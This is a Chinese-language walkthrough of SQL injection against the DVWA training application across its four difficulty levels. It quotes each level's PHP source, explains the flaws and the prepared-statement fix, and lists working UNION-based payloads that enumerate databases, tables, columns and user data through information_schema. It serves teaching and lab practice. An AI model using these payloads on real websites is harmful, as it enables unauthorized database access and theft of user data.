0x00
终于到sql注入了
利用应用中传递的参数 ,将恶意sql语句注入到数据库执行
高危害的漏洞
dvwa里的这个指的是回显注入
0x01
low
在low下的全部源码
<?php if( isset( $_REQUEST[ ‘Submit‘ ] ) ) { // Get input $id = $_REQUEST[ ‘id‘ ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
$query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;"
可见是一个字符型的注入
代码里并未做任何的过滤
就算不看源码 也可以通过1 and or ‘ 这些组合来测试判断是哪种类型的注入
整个的思路流程最后会整理一下,这里就不多说
字符型注入可以用#在最后闭合
或者使用--+ (加号代表空格 在dvwa的low下 如果是框里就用空格替换+)
1‘order by 2# 确认字段数(其实看源码可知为两个字段,这里当做不知道源码的测试)
1‘union select 1,2# 爆出显示位
1‘union select 1,database()# 爆出当前数据库名(版本啊用户名那那些就先省略了)
在mysql5.0之后 有一个information_schema元数据库 有着MySQL服务器所有数据库的信息 可以利用它查询其他数据库的信息
1‘union select 1,group_concat(schema_name) from information_schema.schemata# 爆出所有数据库
1‘union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 爆出当前数据库下所有表
(回显多条数据的情况写可以用group_concat()来全部爆出 如果只回显一条的话可以用limit语句)
1‘union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘# 爆出users表里的所有列
1‘union select 1,group_concat(user) from users# 查询列里面的信息
这样就算成了
0x02
medium
在medium下的部分源码
if( isset( $_POST[ ‘Submit‘ ] ) ) { // Get input $id = $_POST[ ‘id‘ ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ‘<pre>‘ . mysqli_error($GLOBALS["___mysqli_ston"]) . ‘</pre>‘ ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } }
可见medium下增加了mysqli_real_escape_string()函数对特殊字符转义 过滤参数id
但是参数并未用单引号包裹起来..所以其实并没有什么用
同时改成了post提交的参数 前端也对参数进行了限制 但是仍然阻止不了修改数据包
因为id没被单引号包裹 所以是一个数字型注入
因为是有报错显示的,同样也很轻易的可以判断出来
然后后面的注入流程就和low类似
不同在于不需要单引号闭合以及注释
就不重复了
0x03
high
在high下的全部源码
<?php if( isset( $_SESSION [ ‘id‘ ] ) ) { // Get input $id = $_SESSION[ ‘id‘ ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>Something went wrong.</pre>‘ ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
1.首先可见 id的传输方式变成了利用session来传递
但是无所谓 并未做任何的过滤防护
2.其次输入参数的页面和输出结果的页面分开,这样的跳转应该是为了防止一些自动化注入的工具
但是对于手工测试并无影响
3.最后在于"SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";这个语句
和low一样id被单引号包裹 其次用limit 1 进行了限制
一次只能显示一条数据 无法回显多条数据
但是字符型注入构造的语句最后的注释符#和--+会把limit 1给注释掉
所以仍然会返回多条语句
而且就算限制了返回语句条数
同样可以用limit x,y 这个语句来逐条查找 x代表从第几条开始 y代表返回几条
所以注入的过程和low相似
就不重复写了
0x04
impossible
在impossible下的全部源码
<?php if( isset( $_GET[ ‘Submit‘ ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ ); // Get input $id = $_GET[ ‘id‘ ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ ); $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ ‘first_name‘ ]; $last = $row[ ‘last_name‘ ]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
和之前主要有两个区别
1. PDO::PARAM_INT 这是一个预定义常量为整型
bindParam()函数的作用是绑定一个参数到指定的变量名
整个的作用应该是要求id必须为整型
2.其次就是( $data->rowCount() == 1 )
当查询返回的结果数量为1的时候才能给输出的first和last赋值
这样限制就比较难进行注入
0x05
最后扯扯蛋
想想一般这种注入的思路
找到注入点后就先判断注入类型
(不仅只字符数字 也可以是盲注回显报错等等)
然后测试过滤了那些东西
and or from where union select order by limit 等等
‘ "# % () * <> /**/ / \ |- + ., 等等(随便乱写的几个)
然后构造payload就好了
sql注入还是很大一个坑...这些不过只是冰山一角